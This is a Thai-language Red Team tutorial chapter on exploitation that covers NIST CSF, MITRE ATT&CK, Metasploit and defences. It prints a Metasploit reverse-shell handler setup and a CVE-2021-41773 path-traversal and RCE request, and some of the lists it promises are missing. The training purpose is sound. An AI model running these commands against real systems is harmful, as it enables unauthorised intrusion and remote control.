🔴 Red Team 101 — บทที่ 4: Exploitation เมื่อรู้ช่องโหว่แล้ว ก็ถึงเวลาลงมือ + แนะนำ NIST CSF & MITRE ATT&CK

🎯 Exploitation คืออะไร?

Exploitation คือขั้นตอนที่ Red Team ใช้ช่องโหว่ที่เจอ เพื่อเข้าถึงระบบ — เป็นจุดที่ Red Team แปลงจาก "สำรวจ" เป็น "ลงมือทำ"

แต่ก่อนจะพูดถึงวิธี exploit — เราต้องเข้าใจ Framework ที่ Red Team ใช้วางแผนการโจมตีก่อน

📋 ส่วนที่ 1: NIST Cybersecurity Framework (CSF)

NIST CSF คือ framework ที่ใช้ในการ จัดการความเสี่ยงด้าน cybersecurity — ใช้ได้ทั้งฝั่งป้องกัน (White Hat) และฝั่งโจมตี (Red Team)

NIST CSF มี 5 ฟังก์ชันหลัก:

มุมมอง Red Team ต่อ NIST CSF:

• Red Team ใช้ NIST CSF เป็น แผนที่ — รู้ว่าเป้าหมายป้องกันตรงไหน แล้วหาจุดที่ยังห่วง
• ถ้าเป้าหมาย DETECT อ่อน — Red Team จะ exploit แล้วอยู่ในระบบนาน
• ถ้าเป้าหมาย RESPOND อ่อน — Red Team จะ exploit หลายจุดพร้อมกัน

ดู NIST CSF เต็มๆ: nist.gov/cyberframework

⚔️ ส่วนที่ 2: MITRE ATT&CK Framework

MITRE ATT&CK คือ ฐานข้อมูลของ TTPs (Tactics, Techniques, Procedures) ที่ฮักเกอร์ใช้จริง — สร้างจากการวิเคราะห์การโจมตีจริงทั่วโลก

ATT&CK เป็นตรงข้ามกับ NIST CSF:

• NIST CSF = ฝั่งป้องกัน — "จะป้องกันยังไง?"
• MITRE ATT&CK = ฝั่งโจมตี — "ศัตรูทำอะไรบ้าง?"

MITRE ATT&CK Tactics (14 กลยุทธ์)

ดู MITRE ATT&CK เต็มๆ: attack.mitre.org

🔓 ส่วนที่ 3: Exploitation Techniques

ตอนนี้เรารู้ Framework แล้ว — มาดูวิธี exploit จริงๆ

1. Exploit คืออะไร?

Exploit คือ code หรือ technique ที่ใช้ช่องโหว่เพื่อให้ได้ผลลัพธ์ที่ต้องการ — เช่น:

• ได้ shell บนระบบเป้าหมาย (Remote Code Execution)
• ได้ credentials (SQL Injection)
• ข้าม authentication (Authentication Bypass)
• อ่านไฟล์ sensitive (Local File Inclusion)

2. Exploit Sources

แหล่งหา exploit:

• Exploit-DB — exploit-db.com — ฐานข้อมูล exploit ที่ใหญ่ที่สุด
• Metasploit Framework — framework สำหรับ penetration testing ที่มี exploits ในตัว
• GitHub — ค้นหา "CVE-XXXX-XXXX exploit"
• SearchSploit — command-line tool สำหรับค้นหา exploit จาก Explosit-DB offline

3. Metasploit Framework

Metasploit คือ tool หลักของ Red Team — รวม exploits, payloads, post-exploitation tools ไว้ในที่เดียว:

# เปิด Metasploit
msfconsole

# ค้นหา exploit
search type:exploit platform:linux name:apache

# เลือก exploit
use exploit/multi/handler

# ตั้งค่า
set LHOST 192.168.1.100
set LPORT 4444
set PAYLOAD linux/x86/meterpreter/reverse_tcp

# รัน exploit
exploit

4. Common Exploitation Scenarios

Scenario 1: Web Exploitation

• เจอ WordPress site → ใช้ wpscan เช็ค plugins → เจอ vulnerable plugin → ใช้ Metasploit module → ได้ shell

Scenario 2: Network Exploitation

• เจอ SMB port 445 เปิด → เช็ค version → เจอ EternalBlue (MS17-010) → ใช้ Metasploit → ได้ SYSTEM

Scenario 3: Password Exploitation

• ได้ password hash → ใช้ hashcat หรือ john crack → ได้ plaintext password → ใช้ login

🧠 มุมมอง Red Team ต่อ Exploitation

สิ่งที่คนอื่นไม่เห็น — Red Team เห็น:

ตัวอย่าง: เจอ Apache 2.4.49 — คนปกติคิด "Apache เก่าอยู่นะ" แต่ Red Team คิด:

• Apache 2.4.49 มี CVE-2021-41773 — Path Traversal + RCE
• ส่ง request: GET /cgi-bin/.%2e/%2e%2e/%2e%2e/etc/passwd
• ถ้าได้ /etc/passwd กลับมา → ลอง RCE: POST /cgi-bin/.%2e/... body: echo;id
• ถ้าได้ uid=0(root) กลับมา → Game Over

ทุกช่องโหว่คือประตู — แต่ต้องรู้วิธีเปิด

🛡️ ฝั่ง White Hat — ป้องกัน Exploitation

• Patch Management — อัปเดต software สม่ำเสมอ โดยเฉพาะ Critical CVE
• Defense in Depth — ไม่พึ่งชั้นเดียว — Firewall + WAF + IDS + Endpoint protection
• Least Privilege — service ทำงานด้วยสิทธิ์ต่ำที่สุดที่เพียงพอ
• Application Whitelisting — อนุญาตเฉพาะ program ที่รู้จัก
• Exploit Protection — ใช้ ASLR, DEP, Stack Canaries

📝 สรุปบทที่ 4

• NIST CSF — 5 ฟังก์ชัน: Identify, Protect, Detect, Respond, Recover
• MITRE ATT&CK — 14 Tactics ที่ฮักเกอร์ใช้จริง
• Exploitation — ใช้ช่องโหว่เพื่อเข้าถึงระบบ
• Metasploit — tool หลักของ Red Team
• กฎสำคัญ: ทำเฉพาะระบบที่ได้รับอนุญาต

บทต่อไป: 🔴 Red Team 101 — บทที่ 5: Post-Exploitation & Lateral Movement เมื่อเข้าระบบแล้ว ทำอะไรต่อ?

🦉 "NIST CSF คือแผนที่ของผู้ป้องกัน — MITRE ATT&CK คือแผนที่ของผู้โจมตี — Red Team ต้องรู้ทั้งสอง"